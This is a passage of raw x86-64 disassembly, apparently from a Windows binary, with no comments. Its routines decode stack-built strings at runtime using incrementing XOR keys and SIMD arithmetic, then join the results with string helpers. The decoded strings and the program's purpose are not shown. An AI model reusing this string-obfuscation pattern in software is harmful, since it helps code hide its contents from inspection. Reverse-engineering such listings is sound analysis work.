mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400505d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dad
call fcn.1400735b8
xor r8d, r8d
lea rdx, [0x1400c0993]
lea rcx, [rbp + 0x360]
call fcn.14004d250
xor r8d, r8d
lea rdx, [0x1400c0993]
lea rcx, [rbp + 0x340]
call fcn.14004d250
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
cmp byte [0x1400c23e5], 0
je 0x14005062e
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], r13
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050650
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x100]
call fcn.14003d220
nop
movsd xmm0, qword [0x1400c2828]
movsd qword [rbp - 0x80], xmm0
movzx ecx, word [0x1400c2830]
mov word [rbp - 0x78], cx
movzx eax, byte [0x1400c2832]
mov byte [rbp - 0x80], 0x74
xor byte [rbp - 0x7f], 0x37
xor byte [rbp - 0x7e], 0x38
xor byte [rbp - 0x7d], 0x39
xor byte [rbp - 0x7c], 0x3a
xor byte [rbp - 0x7b], 0x3b
xor byte [rbp - 0x7a], 0x3c
xor byte [rbp - 0x79], 0x3d
xor cl, 0x3e
mov byte [rbp - 0x78], cl
xor byte [rbp - 0x77], 0x3f
xor al, 0x40
mov byte [rbp - 0x76], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp - 0x80]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400506d2
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.14003d220
nop
movsd xmm0, qword [str.tBQUeuy]
movsd qword [rbp - 0x70], xmm0
movzx ecx, word [0x1400c2618]
mov word [rbp - 0x68], cx
movzx eax, byte [0x1400c261a]
mov byte [rbp - 0x70], 0x42
xor byte [rbp - 0x6f], 0x37
xor byte [rbp - 0x6e], 0x38
xor byte [rbp - 0x6d], 0x39
xor byte [rbp - 0x6c], 0x3a
xor byte [rbp - 0x6b], 0x3b
xor byte [rbp - 0x6a], 0x3c
xor byte [rbp - 0x69], 0x3d
xor cl, 0x3e
mov byte [rbp - 0x68], cl
xor byte [rbp - 0x67], 0x3f
xor al, 0x40
mov byte [rbp - 0x66], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
lea rax, [rbp - 0x70]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050760
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
lea r9, [rbp - 0x40]
lea r8, [rbp + 0x210]
movzx edx, byte [rbp + 0x208]
lea rcx, [rbp - 0x60]
call fcn.14003ee00
nop
lea r9, [rbp + 0x100]
lea r8, [rbp - 0x60]
movzx edx, byte [rbp + 0x208]
lea rcx, [rsp + 0x40]
call fcn.14003ee00
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x230]
call fcn.14003ce10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140050815
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005080f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052db3
call fcn.1400735b8
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140050851
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005084b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052db9
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140050893
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005088d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dbf
call fcn.1400735b8
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400508cf
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400508c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dc5
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140050910
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005090b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dcb
call fcn.1400735b8
lea rax, [rbp - 0x60]
mov qword [rbp], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0x98], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0xa0], eax
cmp byte [0x1400c2593], 0
je 0x140050aad
mov edi, r13d
cmp r14d, 2
jl 0x140050a6f
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0x98], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
pxor xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0x98]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x140050a80
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x98]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050ac6
lea rdx, [rbp + 0x98]
lea rcx, [rbp - 0x60]
call fcn.14003d220
nop
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x70]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [str.DRU_CKLZ_26_4____8_5__7:9_yYAZY9DRU_CSSJP0A]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400c2570]
movups xmmword [rbp + 0x20], xmm1
mov ecx, dword [0x1400c2580]
mov dword [rbp + 0x30], ecx
mov edi, r13d
cmp r14d, 2
jl 0x140050c62
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140050b60
cmp edi, 0x24
jge 0x140050c9d
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x140050c70
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050cb3
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003d220
nop
lea r9, [rbp - 0x60]
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x128]
call fcn.14003ad00
mov rdi, rax
lea rax, [rbp + 0x230]
cmp rax, rdi
je 0x140050d6f
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140050d32
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050d2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dd1
call fcn.1400735b8
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140050db0
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dd1
call fcn.1400735b8
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
cmp byte [0x1400c23e5], 0
je 0x140050dff
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050e10
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
mov byte [rbp + 0x208], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x268], r13
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140050e56
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x250]
call fcn.14003d220
nop
mov rdi, qword [rbp + 0x328]
mov rsi, qword [rbp + 0x330]
cmp rdi, rsi
je 0x140051039
mov rdx, rdi
lea rcx, [rbp + 0x210]
call fcn.14003c360
nop
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
cmp byte [0x1400c23e5], 0
je 0x140050ec0
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050ee0
lea rdx, [rbp + 0x208]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea r8, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae r8, qword [rbp + 0x210]
mov r9, qword [rbp + 0x220]
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.14003d770
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x60]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x250]
call fcn.14003ce10
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140050fb1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050fab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dd7
call fcn.1400735b8
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140050fef
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050fe9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052ddd
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140051030
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005102b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052de3
call fcn.1400735b8
add rdi, 0x20
jmp 0x140050e82
lea rax, [rbp - 0x60]
mov qword [rbp], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0xa8], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0xb0], eax
mov edi, r13d
cmp r14d, 2
jl 0x14005118b
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0xa8], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
pxor xmm2, xmm1
movd dword [rbp + 0xac], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0xa8]
add r8, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x1400511a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0xa8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400511e6
lea rdx, [rbp + 0xa8]
lea rcx, [rbp - 0x60]
call fcn.14003d220
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x70]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [str.DRU_CKLZ_26_4____8_5__7:9_yYAZY9DRU_CSSJP0A]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400c2570]
movups xmmword [rbp + 0x20], xmm1
mov ecx, dword [0x1400c2580]
mov dword [rbp + 0x30], ecx
mov edi, r13d
cmp r14d, 2
jl 0x140051382
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140051280
cmp edi, 0x24
jge 0x1400513bd
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x140051390
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400513d3
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003d220
nop
lea r9, [rbp - 0x60]
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x128]
call fcn.14003ad00
mov rdi, rax
lea rax, [rbp + 0x250]
cmp rax, rdi
je 0x14005148f
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x140051452
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005144d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052de9
call fcn.1400735b8
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x1400514d0
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400514cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052de9
call fcn.1400735b8
lea rdx, [rbp + 0x250]
mov r8, qword [rbp + 0x260]
lea rcx, [rbp + 0x2a8]
cmp qword [rbp + 0x268], 0x10
jb 0x1400514f6
mov rdx, qword [rbp + 0x250]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051521
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
mov byte [rbp + 0x208], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e8], xmm0
mov qword [rbp + 0x2f8], r13
mov qword [rbp + 0x300], r13
lea rax, [rbp + 0x208]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051570
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2e8]
call fcn.14003d220
nop
lea rax, [rbp - 0x60]
mov qword [rbp], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0xb8], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0xc0], eax
mov edi, r13d
cmp r14d, 2
jl 0x1400516e0
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0xb8], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
pxor xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0xb8]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x1400516f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0xb8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051736
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x60]
call fcn.14003d220
nop
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x70]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [str.DRU_CKLZ_26_4____8_5__7:9_yYAZY9DRU_CSSJP0A]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400c2570]
movups xmmword [rbp + 0x20], xmm1
mov ecx, dword [0x1400c2580]
mov dword [rbp + 0x30], ecx
mov edi, r13d
cmp r14d, 2
jl 0x1400518d2
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
